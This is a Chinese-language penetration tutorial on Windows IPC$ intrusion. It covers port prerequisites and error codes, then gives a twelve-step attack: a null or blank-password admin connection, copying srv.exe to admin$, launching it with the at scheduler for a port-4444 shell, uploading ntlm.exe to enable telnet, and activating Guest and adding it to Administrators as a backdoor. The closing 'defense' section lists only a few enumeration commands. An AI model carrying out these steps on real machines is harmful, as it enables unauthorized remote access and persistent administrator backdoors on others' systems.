4. 内网渗透之IPC$入侵
IPC$连接
IPC$的概念:
IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的
命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
IPC$的作用:
利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
IPC$的利用条件:
1. 139,445端口开启
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过
139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
2. 管理员开启了默认共享
默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或
windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问
IPC$连接失败的原因:
1.你的系统不是NT或以上操作系统.
2.对方没有打开ipc$默认共享。
3.不能成功连接目标的139,445端口.
4.命令输入错误.
5.用户名或密码错误.
常见错误号:
1.错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
2.错误号51,Windows 无法找到网络路径 : 网络有问题;
3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
6.错误号1326,未知的用户名或错误密码 : 原因很明显了;
7.错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
8.错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
具体操作命令:
1.建立IPC$空连接:
net use \\127.0.0.1\ipc$ "" /user:""
2.建立完整的用户名,密码连接:
net use \\127.0.0.1\ipc$ "password" /user:"username"
3.映射路径:
net use z: \\127.0.0.1\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
4.访问/删除路径:
net use z: \\127.0.0.1\c$ #直接访问
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
5.删除IPC$连接:
net use \\127.0.0.1\ipc$ /del
6.入侵过程:
(1)
C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址,如果是打算攻击的话,
就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,
后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
(2)
C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,
大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
(3)
C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2019/2/8 上午 11:00,命令成功完成。
(4)
C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
(5)
C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2019/2/8 上午 11:05,说明srv.exe已经执行,那就准备开始下面的命令。
(6)
C:\>telnet 127.0.0.1 4444
这里会用到Telnet命令吧,注意端口是4444。Telnet默认的是23端口,但是我们使用的是srv.exe在对方计算机中为我们建立一个4444端口的Shell。
虽然我们可以Telnet上去了,但是srv.exe是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
(7)
C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
(8)
C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。
当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
(9)
Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单
(10)
为了以防万一,我们再把guest激活加到管理组
C:\>net user guest /active:yes
将对方的Guest用户激活
(11)
C:\>net user guest 123456
将Guest的密码改为123456,或者你要设定的密码
(12)
C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
7.如何防御IPC$入侵:
net share #查看自己的共享
net view \\IP #查看target的共享
netstat -A IP #获取target的user列表
8.netstat延伸使用:
netstat -ano | findstr "port" #查看端口号对应的PID
tasklist | findstr "PID" #查看进程号对应的程序
参考连接: